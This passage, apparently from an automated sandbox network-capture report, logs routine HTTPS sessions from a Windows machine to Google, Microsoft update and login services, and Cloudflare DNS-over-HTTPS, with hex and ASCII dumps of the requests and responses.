30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-25 02:39:31 UTC	1390	IN	Data Raw: 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 Data Ascii: ow Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(
2024-11-25 02:39:31 UTC	1390	IN	Data Raw: 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c Data Ascii: uerySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"cl
2024-11-25 02:39:31 UTC	1390	IN	Data Raw: 6e 20 5f 2e 6f 65 28 64 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3b 66 6f 72 28 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e Data Ascii: n _.oe(document,a)};_.oe\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.se\u003dfunction(a){let b;for(;b\u003da.firstChild;)a.removeChild(b)};_.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49710	172.217.21.36	443	632	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:30 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 02:39:31 UTC	933	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 02:39:31 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 02:39:31 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-25 02:39:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49721	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:34 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 02:39:35 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=111259 Date: Mon, 25 Nov 2024 02:39:35 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49720	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:35 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=S7xBxEvNluer2YN&MD=oSPPNWbl HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 02:39:36 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e3cf588b-39be-4b4c-8bf0-c94d53f30329 MS-RequestId: f122d5fd-3c8b-4eb7-b24d-047cb5224096 MS-CV: LPwQZX2hZU6cDLB8.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 02:39:35 GMT Connection: close Content-Length: 24490
2024-11-25 02:39:36 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-25 02:39:36 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49727	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:36 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 02:39:37 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0SyaoYgAAAACHM3u5nQtYS605XTu+5FyaTE9OMjFFREdFMDIxMgBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=111195 Date: Mon, 25 Nov 2024 02:39:37 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-25 02:39:37 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49739	94.245.104.56	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:42 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:43 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 25 Nov 2024 02:39:42 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=af27587ba86e2e2aa791a52417aa6c585c82244cf3bd8746d9cd4bf5c38fbf44;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49741	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:44 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 02:39:44 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 02:39:45 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 02:38:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: 1cc238eb-c342-4e94-a1bf-bf7ab8a7fdfb PPServer: PPV: 30 H: SN1PEPF0002F051 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 02:39:44 GMT Connection: close Content-Length: 11389
2024-11-25 02:39:45 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49767	162.159.61.3	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 02:39:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 02:39:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 02:39:46 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7e452debea4258-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 02:39:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 d9 00 04 ac d9 a5 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49775	172.64.41.3	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 02:39:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 02:39:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 02:39:46 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7e452df9225e64-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 02:39:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fa 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49782	172.64.41.3	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 02:39:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 02:39:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 02:39:46 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7e452dfc00c344-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 02:39:47 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 9c 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49768	162.159.61.3	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 02:39:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 02:39:47 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 02:39:46 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e7e452e383d41d5-EWR alt-svc: h3=":443"; ma=86400
